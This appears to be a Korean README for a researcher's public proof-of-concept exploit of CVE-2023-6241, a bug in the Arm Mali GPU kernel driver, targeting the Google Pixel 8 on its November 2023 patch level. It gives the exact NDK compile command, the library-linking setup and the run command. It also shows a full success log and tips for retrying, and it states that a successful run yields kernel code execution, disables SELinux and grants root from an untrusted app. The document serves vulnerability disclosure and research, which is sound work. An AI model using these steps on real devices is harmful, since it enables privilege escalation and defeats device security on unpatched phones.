
CVE-2023-6241 for Pixel 8
분석 글은 여기에서 찾을 수 있습니다. 이것은 제가 2023년 11월에 보고한 Arm Mali 커널 드라이버의 버그입니다. 이 버그는 신뢰할 수 없는 앱 도메인에서 임의의 커널 코드 실행을 얻는 데 사용될 수 있으며, 이를 통해 SELinux를 비활성화하고 루트 권한을 얻을 수 있습니다.
이 익스플로잇은 2023년 11월 패치(UD1A.231105.004)가 적용된 Google Pixel 8에서 테스트되었습니다. OpenCL로 컴파일하고 OpenCL 라이브러리 libGLES_mali.so와 링크해야 합니다. 이 라이브러리는 Pixel 8 기기의 vendor/lib64/egl/libGLES_mali.so에서 찾을 수 있으며, OpenCL 헤더 파일은 KhronosGroup의 OpenCL-headers 저장소에서 찾을 수 있습니다. 제가 사용한 특정 헤더는 v2023.04.17 버전이지만, 다른 버전도 작동할 것입니다. 참고로, 저는 ndk-26에서 clang으로 컴파일하기 위해 다음 명령어를 사용했습니다:
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
익스플로잇은 libGLES_mali.so에 링크되어야 합니다. 이는 LD_LIBRARY_PATH를 /vendor/lib64/egl로 설정하여 수행할 수 있습니다. 이 익스플로잇은 거의 실패하지 않으며, 실패하더라도 일반적으로 시스템을 손상시키거나 충돌시키지 않습니다. 따라서 실패할 경우 다시 실행할 수 있습니다. 성공하면 SELinux를 비활성화하고 루트 권한을 얻습니다.
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
첫 번째 실행 시 익스플로잇이 마지막 overwrite addr 메시지를 출력한 후 가끔 멈출 수 있습니다. 그런 경우(10초 이상 멈춘 경우, 몇 초간 일시 중지되는 것은 정상입니다) 익스플로잇을 종료하고 다시 실행하면 됩니다. 두 번째 실행에서는 멈추지 않아야 합니다.
MTE를 활성화한 상태에서 테스트하려면 이 지침에 따라 커널 MTE를 활성화하세요.